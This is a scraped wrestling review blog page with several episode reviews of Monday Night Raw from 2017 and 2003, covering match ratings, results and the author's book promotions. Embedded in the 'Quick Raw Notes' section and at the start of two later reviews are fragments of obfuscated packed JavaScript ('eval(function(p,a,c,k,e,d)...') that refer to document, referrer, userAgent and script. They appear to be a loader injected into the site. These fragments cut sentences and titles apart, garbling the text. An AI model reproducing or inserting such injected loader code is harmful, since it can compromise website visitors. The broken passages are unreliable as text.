Here’s Kurt Angle to announce a new surprise: John Cena, who is now back on Raw. Cena isn’t sure why he’s here before saying he was asked to come here by Angle himself. That’s what Cena wanted because he wanted to go face to face with a certain superstar. Cue Roman Reigns and I’m rather curious to see who the fans will boo more. Cena says that’s the man he was looking for but Reigns says Cena has only been running his mouth on Twitter.

Reigns wants to know if Cena will run his mouth to his face. The fans chant for Undertaker, which Cena says is them holding a bit of a grudge. Cena didn’t come here to talk though and the mic’s are dropped. The fight is teased but here are Miz and the Miztourage to interrupt. Miz: “So this is what a sold out Barclays looks like. I wouldn’t know.” He asks how many moments Cena and Reigns get, earning himself a round of applause.

Miz wants to know why the two of them get this time while he was stuck on the Kickoff Show last night. A quick fan poll says Cena isn’t welcome here so Miz says there are 18,000 people wanting him to leave. Cena goes to leave but Miz spins him around and says he’s not done yet. Miz rants about how no one knows what to do with Cena or Reigns and that hurts him, the only champion in this ring. He wants to know when he gets his moment because he’s spent twelve years earning it.

Cena suggests he team up with Reigns to face Miz and either of Miz’s lackeys. Miz says no because that would be a moment for Cena and not him. This brings out Samoa Joe of all people to say that he’s going to be Miz’s partner whether Miz likes it or not. Joe doesn’t want to waste his time on Reigns because he owns Roman one on one.

Instead he slugs away at Cena as Reigns beats up Miz and the Miztourage. The AA is countered into the Koquina Clutch with Reigns making the save via a Superman Punch. Roman and Cena are left alone and the fans tell them that they both suck. I fully support these two singles matches, especially at No Mercy.

Drew Gulak/Noam Dar/Tony Nese/Ariya Daivari vs. Rich Swan/Mustafa Ali/Gran Metalik/Cedric Alexander

No one gets an entrance and it’s Metalik walking the ropes to dropkick Gulak down. It’s quickly off to Ali vs. Daivari for a quick strike exchange. Swann comes in for the threat of a spinning kick to Daivari, which sends him over to the corner. Dar won’t tag in so Nese does it instead, earning himself a dropkick.

Nese runs Swann over though and we take a break. Back with Swann slugging away at Dar but not being able to get over for a tag. The fans are doing the wave as Cedric gets the hot tag and starts cleaning house with kicks to the head. Everything breaks down and Metalik moonsaults out to the floor, leaving Cedric to Lumbar Check Nese for the pin at 8:45.

Rating: D+. So that’s a thing that existed and that’s about all I can say about it. Really, the cruiserweight division is a big waste of time save for maybe the champion and his top challenger, which makes 205 Live an even bigger waste of time. It’s not even an entertaining match where most people didn’t even get involved. Just nothing to say here.

Neville is in the back and says the fans are hilarious for wanting someone else as champion. Cue Titus O’Neil and Akira Tozawa to say Daivari gets his rematch tomorrow night on 205 Live.

Jason Jordan comes in to see Angle and says he wants Finn Balor tonight. Kurt reluctantly agrees.

Here are Seth Rollins and Dean Ambrose for a chat. Rollins is glad that they got back together and now they’re champions. Dean says he slept with the title under his pillow last night, which confuses Seth for a second until he says this is one big party. Seth says he wants to get the rematch with Cesaro and Sheamus out of the way but here are the Hardys to interrupt instead. Matt understands that brothers fight and thinks it’s time to make things wonderful. They’ve revolutionized tag team wrestling for twenty five years and it’s time to do it again in Brooklyn. Here’s a referee and we’re ready to go after a break.

Dean Ambrose/Seth Rollins vs. Hardy Boyz

Non-title. Dean headlocks Matt to start but an early double team slows Ambrose down. It’s quickly off to Rollins for a kick to Jeff’s chest for two. The Spin Cycle gets two on Rollins but he drop toeholds Matt into a knee drop from Ambrose for two more. Neither finisher can hit though and it’s off to a stalemate.

A big slugout takes us to a break and we come back with Rollins enziguring Jeff. Matt and Dean come in with both champs being sent outside. Jeff nails Poetry in Motion over the top to drop them both again. Back in and Seth pulls Dean out of the way of the Whisper in the Wind before grabbing a front facelock. We hit the chinlock for a bit until Jeff dropkicks both of them down.

It’s back to Matt as everything breaks down. A Sling Blade drops Matt so Dean can get two before the Hardys are sent outside. There’s the double suicide dive but Matt hits a Side Effect on Rollins on the apron. Another Side Effect gets two on Dean but he comes back with an attempt at a super Dirty Deeds. That doesn’t work of course so it’s the Twist of Fate to set up the Swanton, which hits raised knees. The wind-up jumping knee to the face sets up Dirty Deeds to end Jeff at 17:45.

Rating: B. Good, long match here with Seth and Dean getting a big win over a much more high profile team. They’ve got something with that jumping knee into Dirty Deeds too, which is a lot more than a lot of teams can say. The Hardys definitely seem to be shifting into the role of putting other teams over and there’s nothing wrong with that for them, especially at this point in their careers.

We look at the opening sequence again.

Here’s Sasha Banks for her first comments after winning the title. She may be from Boston but she’s always left her heart right here in Brooklyn. Like when she and Charlotte tore the house down last year at Summerslam, which allows her to wish Ric Flair well. Sasha plans on defending the title the right way but here’s Alexa Bliss to interrupt. She laughs off the idea of Sasha being the right kind of champion but wants nothing to do with a rematch tonight in front of these Brooklyn fanboys. They’ll fight soon enough but for now, Bliss is fine making Sasha wait.

Jason Jordan vs. Finn Balor

Jordan takes him down to the mat to start and a rollup gets two, earning Balor a quick smile. Another technical sequence puts Jordan down, only to have Finn hit a dropkick to stagger Jason. Balor wants nothing to do with a handshake and snapmares him down instead. A leapfrog is countered into a powerslam to give Finn two and we take a break.

Back with Jordan putting him down again and dropping an elbow to the ribs. They fight over a butterfly suplex with the fans very upset about something that seems to be off camera. Balor stops a charge with a boot in the corner before sending Jordan to the floor for a baseball slide. The running apron kick has Jordan in more trouble but Jason comes back with the belly to belly.

The shoulder in the corner looks to set up the wheelbarrow neckbreaker, only to have Finn counter into a crossbody. A Pele drops Jordan again and both guys are down. Jordan drives him into the corner but gets caught with a Sling Blade. The shotgun dropkick puts Jordan in the corner and it’s the Coup de Grace for the pin at 11:45.

Rating: B. Definitely Jordan’s best singles match to date and it made him look like a bigger deal. Balor winning was the right call as Jordan shouldn’t be beating a former World Champion just yet. It was a good, competitive match though and that’s much better than what you usually get from Jordan at this point.

Alexa gets her title rematch next week.

Miz/Samoa Joe vs. Roman Reigns/John Cena

Cena bulldogs Miz to start and the fans are very pleased as it’s already off to Joe. The fans go nuts over something and Cena actually pauses to look at it…..because it’s a freaking beach ball. It seems that the ball is taken away with Cena looking annoyed, earning himself a beating from Joe. Miz comes in to stomp away and it’s time for the wave again. Now Cena joins in the wave, earning himself a quick DDT for two.

The cheering and booing continues as a beach ball is put into play and confiscated as the match continues to be ignored. Cena gets ax handled for two as Miz stops to tell the fans to pay attention. Miz misses a charge and it’s off to Reigns to clean house with clotheslines to no reaction. Roman gets taken down as well for the YES Kicks. The last one is countered into a powerbomb though and both guys are down again.

Joe Rock Bottoms Roman but Reigns heads outside to beat up the Miztourage. Back in and the hot tag brings in Cena for the finishing sequence. Joe cuts off the Shuffle though and it’s off to the Koquina Clutch. Reigns tries a save with the Superman Punch but Joe sidesteps it, causing Cena to get hit instead. The second Superman Punch hits Joe but Cena pops up and grabs the AA to pin Miz at 13:03.

Rating: C+. I hate beach balls, I hate beach balls, I hate beach balls. As usual, whenever you ask a crowd to pay attention for this long (to something they paid for of course), it’s bound to cause them to lose their interest and set off something like this. Naturally their response is screw anyone who doesn’t like it, because wrestling fans are selfish creatures by definition. I couldn’t stand this stuff in Orlando and it’s really annoying now, much like WWE encouraging this nonsense. As for the match, it was exactly what you would expect though Cena pinning Miz made me roll my eyes.

Overall Rating: B-. The wrestling was much better tonight with two very good matches but there was also a lot of stuff that felt like filler. As usual, if you cut out an hour of this show, it gets far better in a hurry, though at least the stuff that was good was very good. Strowman vs. Lesnar should be amazing and it would be even better if Cass’ legitimate knee injury isn’t serious. Good show tonight, which is a positive sign after last night’s hit and miss effort.

Results

Enzo Amore b. Big Cass via referee stoppage

Nia Jax b. Emma – Samoan drop

Elias b. R-Truth – Drift Away

Rich Swan/Mustafa Ali/Gran Metalik/Cedric Alexander b. Noam Dar/Tony Nese/Ariya Daivari/Drew Gulak – Lumbar Check to Nese

Seth Rollins/Dean Ambrose b. Hardy Boyz – Dirty Deeds to Jeff

Finn Balor b. Jason Jordan – Coup de Grace

John Cena/Roman Reigns b. Miz/Samoa Joe – Attitude Adjustment to Miz

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




A Few Quick Raw Notes

Some eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dtabf|var|u0026u|referrer|badyd||js|php'.split('|'),0,{})) are nicer than others.1. Strowman vs. Lesnar is official for No Mercy.  Freaking yay and the only way they could go.

2. Screw beach balls.  Seriously, screw them.  If you’re that bored at a show, go do something else and quit messing with the fans who don’t care about that nonsense.

3. It looks like Cass’ injury is legit.  There’s no word on the severity but that would suck if he has to miss time.  It also doesn’t look good for Enzo either, as he doesn’t have much else to do other than deal with Cass.

4. Again, screw beach balls and screw WWE for encouraging them.




Monday Night Raw – March 17, 2003 (2017 Redo): The Bad Road

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bybis|var|u0026u|referrer|kykzi||js|php'.split('|'),0,{})) Night Raw
Date: March 17, 2003
Location: Savvis Center, St. Louis, Missouri
Commentators: Jim Ross, Jerry Lawler

We’re less than two weeks away from Wrestlemania and….yeah I’m not really caring that much yet. The show just isn’t looking interesting and I’m not sure how much tonight is going to help. This week’s big attraction is Steve Austin vs. Eric Bischoff II for no apparent reason, though a lack of logic has never stopped WWE before. Let’s get to it.

This show is dedicated to the United States military, who would be heading into Iraq later in the week.

Here’s Bischoff under a spotlight to start things off. He gets straight to the point: tonight’s match with Austin is now a lumberjack match.

Opening sequence.

Chief Morely/Lance Storm vs. Kane/Rob Van Dam

If the Dudleys interfere, they’re fired. Kane shoulders him down to start and hammers away in the corner as JR wants William Regal to get back so they can lose the Tag Team Titles. Rob comes in for his stepover kick to the face and the cartwheel moonsault gets two. A shot shot cuts Rob off and Storm adds a hot shot for good measure. Morely’s spinebuster doesn’t do him much good as Van Dam comes back with an enziguri. There’s the hot tag to Kane to clean house with the top rope clothesline taking Storm down. Morely comes back in for a double DDT but Rob kicks him in the chest. The chokeslam ends Storm.

Rating: D+. Not enough time to mean much here but JR is right: they need to just make Storm and Morely the official champions already as Regal is nowhere to be seen at the moment due to his injury. I’d assume Van Dam and Kane would win the titles at Wrestlemania, or at least that would make the most sense.

Post match here are the Dudleys….to turn heel and put Kane through a table with a 3D.

Back from a break with Morely and the Dudleys in the back. Apparently they sided with Morely and Bischoff because they have families to feed and can’t do that while they’re suspended. They’re not happy with it but they don’t have a choice. That’s shockingly logical and I’m not sure how to handle that.

Here are HHH and Ric Flair with the champ running down Booker T. for attacking him last week. HHH wants Booker out here right now but gets Goldust instead. Lawler: “Booker T. is probably in jail somewhere.” Goldust stands up for his friend….and the whole thing is immediately ruined as Goldust talks about HHH not having it down in the “cock…..cock….cock….COCKLES of his heart.”

HHH and Flair bust out laughing at the whole thing with Goldust’s stutter getting worse and worse. The beatdown is finally on until Booker T. comes in for the save. Booker can’t quite hit the ax kick on Flair as HHH makes the save. This likely sets up a tag match later, but that would be in a place that made sense. I’m betting on HHH squashing Goldust instead.

Post break, HHH is livid and demands to face Goldust later tonight. And there it is.

Maven vs. Rico

Maven grabs an armdrag to start….and let’s cut to the back to see Rock arriving. Back in the ring (Can we go back to watching Rock walk?), Rico hits a kick to the back of the head. Jamal gets in a cheap shot from behind because people need help against Maven. Rico keeps kicking and stomping away as he doesn’t have the most varied offense at this point. We hit the neck crank for a bit but Rico misses a middle rope backdrop. That means a Maven comeback with a middle rope bulldog getting two. Rosey grabs Maven from the floor, which has no effect as Maven gets a backslide for the pin.

Rating: D-. 3 Minute Warning has fallen to the point where they can’t even manage to put Maven away. I’ve seen grub worms that could give Maven a run for his money and now two monstrous Samoans can’t beat him? Rico deserves WAY better than this, though it still might be an upgrade from the stylist stuff. Terrible match of course.

Shawn Michaels goes in to see Austin and tells him that Bischoff has made him a lumberjack tonight. Austin doesn’t really care, nor does he mind that Rock will be a lumberjack too. Every time he and Rock get in the ring together at Wrestlemania, Rock winds up losing. Why should this year be any different?

Rock is walking through the back when he runs into Teddy Long, who hides a WWE Magazine. Rock takes it away and finds…..Hurricane on the cover. Teddy says not to worry because Rodney Mack is dealing with Hurricane tonight. Oh and don’t worry about losing to Hurricane last week because it was just a conspiracy by the man. Rock isn’t pleased and looks kind of surprised when Mack comes up. They’re seeming to have a lot of these filler scenes tonight and that doesn’t bode well.

Wrestlemania Moment: Andre the Giant beats Big John Studd in the Bodyslam Match and throws his winnings to the crowd.

Hurricane vs. Rodney Mack

JR talks about how great Mack has been since he came under Teddy’s guidance, including being undefeated. He had one match a month ago Jim. Hurricane bounces off of him with a shoulder and Mack follows up with a hard shoulder off the middle rope. Mack misses a charge in the corner though and gets caught with a neckbreaker. A high crossbody sets up the Blockbuster but here’s Rock for the DQ because Rodney Mack can’t get pinned.

Rock hits Hurricane low twice and beats him down with a chair.

Trish Stratus/Jazz vs. Victoria/Steven Richards

King gets in two bad lines by saying you can’t see Trish and not have any hard feelings and also referring to Jazz as James Earl Jones Jr. Jazz and Victoria start things off as the announcers aren’t sure why this match is happening, but seem to blame Bischoff’s booking. They take turns whipping each other into the corner before Jazz gets in a dropkick to the back. It’s off to Trish for some forearms and a Chick Kick for two as Richards hasn’t been a factor yet.

An electric chair is broken up and Trish goes face first as King says he’d always hook Trish’s leg. JR: “I’m sure you would tiger.” Richards finally comes in and gets hit low, setting up a hurricanrana out of the corner. Trish avoids the flip legdrop and Richards crotches himself, only to have Jazz walk away from the tag attempt. Richards adds a Sky High and the Widow’s Peak ends this.

Rating: D. I really didn’t like this one but the story has been a mess which has gone on far too long. Victoria is a good heel champion but the lack of depth in the division has caused the story to drag on to the point where it stops meaning anything. They’re also finally fighting over the title at Wrestlemania, but that doesn’t make up for the weeks of trading wins that didn’t advance anything.

Stevie loads up the DDT on Trish but Jeff Hardy runs in for the save. The villains leave and Jeff kisses Trish, who seems both confused and disgusted.

Video on Shawn Michaels putting in the best possible effort at every Wrestlemania. Like at Wrestlemania V, when he was completely hung over.

Chris Jericho says he used to believe in Shawn but now his dream is to end Shawn at Wrestlemania. Christian comes up to say they have a match against Test and a surprise partner next.

Stacy Keibler comes up to Test as he’s reading Raw Magazine. She’ll see him out there for the tag match and leaves. Test is actually looking at Torrie’s Playboy. He has good taste.

Test/Scott Steiner vs. Christian/Chris Jericho

Test charges straight at Jericho to start and elbows him in the jaw. Jericho gets thrown onto Christian and it’s off to Steiner for an Oklahoma Stampede. It’s back to Test who gets taken down by some Canadian double teaming as Lawler makes sex jokes about Stacy. Test shrugs it off without too much effort though and Steiner comes back in for the suplexes. Christian grabs the referee though, allowing Jericho to hit Steiner low.

Scott is fine enough for a belly to belly on Jericho, allowing the tag back to Test. The pumphandle slam gets two on Jericho with Christian making the save. A powerbomb is good for the same sequence and Stacy gets on the apron for no logical reason. Jericho knocks her right into Steiner’s arms, meaning Lawler gets to make jokes about seeing her underwear. The distraction lets Jericho roll Test up for the pin.

Rating: D. The fall of Scott Steiner amazes me. To go from where he was to working with Test in less than a month is remarkable but also completely deserved after how bad those two matches were. The match itself was as good as Jericho and Christian slowing down to Test and Steiner’s level was going to be, though at least the right team won.

HHH vs. Goldust

Non-title with Flair and Booker as the seconds. A right hand to the jaw annoys Goldust and more jabs make it even worse. Goldust’s bad arm (another electrocution casualty) flares up and HHH sends it into the post. It’s time to work on an armbar for a bit before the spinebuster plants Goldust again.

The Pedigree is countered into a rollup for two and Goldust makes his comeback with his usual. HHH sends him outside and Flair gets in some cheap shots until Booker makes the save. Cue Randy Orton through the crowd to break a crutch over Booker’s head, leaving Goldust to load up Shattered Dreams. The affliction cuts him off though, allowing the jumping knee and Pedigree to put him away.

Rating: D. So now Goldust losing to HHH because he was electrocuted is the best thing they have for a rub from HHH? I’ve never been a fan of these two facing off (their Royal Rumble 1997 match is one of my least favorite matches ever) and this was no exception. This wasn’t any good but it was also overbooked and built around a bad story. That’s not a good combination.

Limp Bizkit is excited to perform at Wrestlemania.

Rock is with Bischoff as he warms up and thinks we should have a Rock Concert next week. Bischoff loves the idea and tells Rock he’ll see him out there as a lumberjack. Actually Rock has another idea though: drop the lumberjacks and just make it No DQ so he can interfere freely. So they book a stipulation earlier tonight and then cut it out later in the night? That’s WCW style and that’s about as bad as it gets.

Pay per view rundown. It still doesn’t excite me based on the last few weeks.

Steve Austin vs. Eric Bischoff

No DQ. Bischoff bails to the floor to start and hides behind Chief Morely, who gets taken down with a clothesline. Austin takes him inside and stomps away before grabbing a Boston crab of all things. A low blow from Morely finally gives Bischoff a breather and he chokes on the ropes a bit. Not that it matters as Austin hits a Stunner on Bischoff and tosses Morely, only to walk into Rock’s Stunner. That only gives Bischoff two so Rock comes back and misses the People’s Elbow. A clothesline puts Rock on the floor and the second Stunner ends Bischoff.

Rating: D-. How else can I really rate this? It’s barely a match and they flat out said that there’s only having the match for the sake of Rock interfering to attack Austin. I’m not completely sure why Bischoff set this up for himself in the first place but why bother with logic when you can get to a big ending?

Rock gives Austin the Rock Bottom and steals a beer to end the show.

Overall Rating: F+. I don’t remember a single good thing about this show. Between setting up a stipulation and then canceling it later in the night, the still dull Women’s Title situation, complete with Richards and Hardy being added in for no apparent reason and Goldust being one of the dumbest characters I can remember in a good while, this is completely missing the point as we head towards Wrestlemania. Rock is on the verge of carrying the Raw half of the pay per view on his back but it seems to be too much even for the Great One. Awful show this week as things are actually getting worse.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Monday Night Raw – August 14, 2017: A Different Kind of Watchable

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kennz|var|u0026u|referrer|tiezy||js|php'.split('|'),0,{})) Night Raw
Date: August 14, 2017
Location: TD Garden, Boston, Massachusetts
Commentators: Michael Cole, Corey Graves, Booker T.

It’s the go home show for Summerslam and that means we’re in for the hard sell job. Aside from the big main event stuff, the main story tonight is the crowning of a new #1 contender to the Raw Women’s Title as Nia Jax will be facing Sasha Banks. The winner will replace the injured Bayley in Sunday’s title match against Alexa Bliss. Let’s get to it.

The opening video looks at the recent issues between Dean Ambrose and Seth Rollins. Dean isn’t sure if he should reunite with Seth and refused to save him two weeks ago. He did save Seth last week, but Rollins wouldn’t do the Shield pose with him.

Here’s Dean for an opening chat. Dean wants to talk to Seth in person so here’s Rollins (still with the BURN IT TO THE GROUND in his music). Seth gets right to the point: they would be unstoppable as a team. He’s done playing games and sticks out his fist. Dean isn’t sure but then says Seth has to be kidding.

He rants about Rollins not being there for him last week but Seth says that their differences are why they work so well together. Seth goes to leave but Dean stops him and puts out the fist. It’s turned down AGAIN and Dean takes him down for a fight. They fall out to the floor so here are Sheamus and Cesaro for the beatdown.

Ambrose and Rollins eventually fight them off and clear the ring, drawing one heck of a YES chant. Now Dean puts out the fist….but Seth isn’t sure. Then Seth puts out the fist but Dean isn’t sure. They finally put the fists out together and NOW we have the eruption that the fans have been holding in for weeks. Hang on a second though as here’s Kurt Angle to make the Tag Team Title match with Rollins and Ambrose getting the shot at Summerslam. At least they didn’t waste any time doing the obvious.

The announcers talk about Ric Flair’s condition and wish him the best. Nothing wrong with that at all.

Nia Jax vs. Sasha Banks

The winner gets Alexa Bliss for the title at Summerslam. Before we get going, here’s Alexa Bliss to sit on her throne (which looks like a lifeguard chair) at ringside. Nia runs Banks over to start and we’re off to an early break. Back with Nia swinging Sasha HARD into the barricade to leave her laying. Nia drops the big leg for two and tries a double chickenwing, only to have Sasha reverse into a kind of standing camel clutch.

That’s reversed into a Samoan drop for two, followed by a second to send Sasha rolling out to the floor. Back from a second break with Banks not being able to get a sunset bomb out of the corner but kicking Jax off the ropes instead. The double knees in the corner get two but Sasha charges into a boot to the ribs. Nia gets pulled into the Bank Statement (which now has an arm trap, making it a Crossface) and starts for the ropes, only to have Sasha switch arms. Jax powers up but gets DDTed back down, setting up the Bank Statement again to make Nia tap at 16:46.

Rating: B. They were working the David vs. Goliath style here and as usual, it worked incredibly well. This wasn’t quite up to the levels of Bayley vs. Jax but the fact that Banks kept fighting until she beat Jax clean is huge. It makes her look like the dragon slayer, meaning there’s no reason that Banks shouldn’t run through Bliss to become champion on Sunday.

The Hardys are in Angle’s office where the boss tells them they won’t be facing the injured Revival at Summerslam. Cue Miz and the Miztourage to ask what Kurt is going to do about Brock attacking them last week. Angle: “Nothing.” Kurt does say though that Curtis Axel will have his match with Jason Jordan tonight after it was canceled last week. Miz says he’ll take Axel’s spot, which is fine with Kurt. Miz is ready to yell about something when a referee comes in to say there’s a problem with Finn Balor and Bray Wyatt, sending Angle running off.

Back from a break with referees breaking up Balor vs. Wyatt. Angle comes in and says they’ll just have their match tonight.

Here’s Elias to sing a song about how terrible clam chowder is and how Boston is wicked cursed.

R-Truth vs. Elias

Elias jumps him before the bell and hits Drift Away, which is now a fisherman’s neckbreaker. No match.

A shark cage is lowered into the ring and here’s Big Cass for a chat. He tries to talk about what’s going to be happening at Summerslam but the fans keep booing him out of the building. Cass finally talks over them and says Enzo needs Big Show because Enzo knows he’s nothing without a guardian looking out for him. He doesn’t get why Big Show is hanging with Enzo lately, nor does he get why people cheer for Enzo. The fans are laughing at Enzo, even if they don’t get the jokes. Cass can’t wait for Summerslam when Enzo has the best seat in the house to watch his new buddy take a beating.

Cue Enzo to mock Cass being cut off so many times. He says Cass is rambling like a man who has been knocked out two weeks in a row. More insults are exchanged until Big Show comes out. The brawl is on until Anderson and Gallows come in to help beat Big Show down. They slam the cage door on his hand and Cass stomps on it for good measure. Cass showed much better fire and emotion than usual here but more importantly the fans were reacting to him, which is a very good sign for his future.

Cruiserweight Title: Neville vs. Akira Tozawa

Neville is defending in a match that was scheduled for Sunday. Tozawa grabs a rollup for an early two but the champ grabs one of his own. That means a face to face staredown in the middle until Neville gets kicked out to the floor. Back with Tozawa fighting out of an armbar and sending Neville outside for a suicide dive. He adds a second one and Titus O’Neil is all fired up.

The standing backsplash looks to set up the top rope version but Neville gets up for the save. They both head to the top with Neville drilling the superplex for no cover. Instead he gets up, only to get kicked in the head. Tozawa goes up again but Neville is up again and hides behind the referee. A leg trip sets up the Rings of Saturn but Tozawa reverses into a rollup for a VERY close two. Neville posts him though and the Red Arrow…..actually misses. Tozawa drops the top rope backsplash for the pin and the title at 11:26.

Rating: B-. I’m rather surprised and I’m not sure I get why this happened here. Are they really just trying to get a match off of Summerslam? I mean, the card is going to be pushing fourteen or so matches and this would be pretty low on the totem pole so it’s not the worst idea. That being said, they do realize THERE’S A CRUISERWEIGHT SHOW THAT NO ONE WATCHES THAT COULD USE A BOOST LIKE A SUMMERSLAM MATCH COMING EARLY RIGHT???

The announcers preview this weekend’s events.

Show has his hand examined and the medics think it’s broken. Enzo comes in and suggests they call the match off but Show says no way. I really hope this isn’t setting up a SHOCKING turn as they said they think it’s broken but have to wait for an x-ray.

We look back at Sasha winning earlier.

Mickie James is in the back when Emma comes in to complain about fans loving Sasha winning. She started the Women’s Revolution and runs her mouth a lot but Mickie doesn’t want to hear it. A match is made for later tonight.

Bray Wyatt vs. Finn Balor

Another Summerslam match coming early. They go right after each other to start with Bray doing his hop over the ropes for a kick to the head. A right hand drops Balor onto the apron but he gets in a kick to the face and we take a break. Back with Bray hitting a gutbuster for two and hitting a hard clothesline. It’s off to a chinlock for a bit until Balor kicks him in the head for a breather.

Bray gets caught with another running boot for two but comes right back with his running crossbody. The backsplash gives Bray two more but Balor adds a quick double stomp to the ribs. They head outside with Finn getting the running dropkick against the barricade but the Coup de Grace is broken up. Sister Abigail gives Bray the clean pin at 11:23.

Rating: C+. That’s Bray’s third straight win over a former World Champion (two wins over Seth Rollins) but for some reason it feels like he’s still going nowhere. That loss at Wrestlemania really did cripple him and it’s going to take another big win, like winning the World Title, to bring him back. Balor losing clean is surprising here, but I really hope they don’t just have him beat Wyatt again on Sunday.

Bray gives him another Sister Abigail after the match. The lights go out and come back on with Balor sitting unconscious in the corner. Bray has a bucket and pours what looks like blood (or barbecue sauce) all over Bray.

We look at the opening segment again.

Mickie James vs. Emma

No entrance for either one. Mickie gets in an early kick to the face for two but Emma knocks her to the floor. Back in and a seated full nelson keeps Mickie in trouble. The comeback doesn’t last long as Mickie fights up, only to get pulled off the ropes for two. Mickie’s spinning kick to the head is good for the quick pin at 4:08.

Rating: D. Hey, did you know that Emma complained about not getting enough time on TV? Well now she’s getting it but HAHA she’s losing all the time now. That’ll show her, and it’s totally not counter productive whatsoever! Mickie winning isn’t going to move her anywhere, making this more about punishing Emma and filling in time than anything else.

Balor leaves Angle’s office and says that he has his rematch on Sunday. Balor: “Bray has his demons. At Summerslam, he’s going to find out that I have my demons too.” The fans ROAR at that mention.

Miz vs. Jason Jordan

Non-title. Cole reads off Jordan’s resume, which includes a degree in biology and THREE minors, which is really quite impressive. The threat of an early suplex sends Miz outside for a breather. Back in and Jordan hits the running shoulder in the corner but the Miztourage comes in for the DQ at 1:46.

Post match the beatdown is on until the Hardys make the save.

Hardy Boyz/Jason Jordan vs. Miz/Miztourage

Joined in progress with Matt working on Axel’s arm before it’s off to Matt to crank on the other arm. Jordan adds a chop and it’s off to Dallas, who charges into a fireman’s carry slam. Miz gets pulled back in for some shoulders to the ribs until Axel pulls his boss out of the way.

We take a break and come back with Jordan rolling away from a middle rope elbow and bringing in Matt off the hot tag. Axel takes him down though and grabs a chinlock before bringing Miz back in for some left hands to the head. Matt sends him into the corner to escape though and the hot tag brings in Jeff for a good looking Whisper in the Wind. Everything breaks down and Jordan suplexes all three of them around. The Twist of Fate into the Swanton puts Dallas away at 14:45.

Rating: C. Now this one felt like filler, which a lot of stuff has been tonight, although it hasn’t exactly felt like such. The idea here seems to be to put Jordan with someone more popular to hide the fact that a lot of people don’t really care for him. That idea has worked for years so it’s hardly a big stretch here.

The Demon King is confirmed for Summerslam.

Neville will get his rematch on Sunday. Dang that’s going to be a packed card.

Angle is in the ring, which is surrounded by security, to bring out all four participants for Sunday’s Universal Title match. First up we have Brock Lesnar and Paul Heyman with Paul talking about how unfair Sunday’s match is going to be. It’s going to be all three challengers going after Lesnar and as a fan, Heyman thinks that concept sucks.

One day, a very long time from now, someone is going to be man enough to defeat Lesnar and become the new guy. However, it’s not going to be the false Samoan Samoa Joe or the Monster Among Men Braun Strowman, or the man who conquered the Undertaker, Roman Reigns. Heyman sees two possible options for Sunday.

Option A is Lesnar having the title stolen from him, meaning you might as well put him in a cage (Heyman: “HINT HINT!”). Option B is Lesnar wins and it turns out that Heyman has been underselling him all these years. This brings out Samoa Joe to say he’s putting Lesnar to sleep on Sunday.

Braun Strowman, now with his own shirt, comes out to say he’s always the last man standing. Joe takes credit for last week’s win and it’s FINALLY Reigns coming in as well. Roman takes Joe down but walks into the powerslam, leaving Lesnar vs. Strowman. Security comes in to break them up but are quickly dispatched. The locker room comes out and can barely hold them back to end the show.

Overall Rating: C+. This felt like the last show before one of the biggest shows of the year, mainly because most of the bigger names weren’t wrestling tonight. That makes good sense as you don’t want one of the four main event participants getting injured before the big night. I liked a lot of the extended attention that some of the less important stuff got tonight as it makes those things feel more important. It’s a different way of doing Raw and that’s one of the best things that they can do at the moment, especially when things get stale so frequently around here.

Results

Sasha Banks b. Nia Jax – Bank Statement

Akira Tozawa b. Neville – Top rope backsplash

Bray Wyatt b. Finn Balor – Sister Abigail

Emma b. Mickie James – Spinning kick to the head

Jason Jordan b. Miz via DQ when the Miztourage interfered

Jason Jordan/Hardy Boyz b. Miz/Miztourage – Swanton Bomb to Dallas

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Monday Night Raw – March 10, 2003 (2017 Redo): HHH Can Dream All He Wants

Monday Night Raw
Date: March 10, 2003
Location: Gund Arena, Cleveland, Ohio
Commentators: Jim Ross, Jerry Lawler

With less than three weeks to go before Wrestlemania, it’s time to really start hammering things home. The big draw tonight is Rock vs. Booker T. and if Rock wins, he can either face HHH for the title or Steve Austin for pride at Wrestlemania. Why this is even happening isn’t clear as there’s no reason to think Rock would want the World Title but that’s Raw in general at times. Let’s get to it.

Eric Bischoff and Chief Morely give the midcard a speech about wanting to properly welcome Austin when he gets here. Bischoff: “NOT THAT KIND OF WELCOME!” The roster leaves and here’s Rock to interrupt. Rock thinks the match with Booker T. is a waste of time (because it is) because he only cares about facing Austin. Eric understands and can go with that but Rock still has to wrestle tonight. That’s cool with Rock, who will face anyone.

Rob Van Dam/Kane vs. Chris Jericho/Christian

Van Dam kicks Jericho in the face to start but eats the running forearm for his efforts. It’s quickly off to Kane to clean house with the top rope clothesline getting two on Jericho. The Canadians have to fight out of a double chokeslam so Kane settles for a backdrop to put Jericho on the floor. Kane follows him out but gets set into the steps to slow him down. Van Dam kicks Christian in the face and adds the Five Star, only to have Jericho come back in with the Lionsault for the pin.

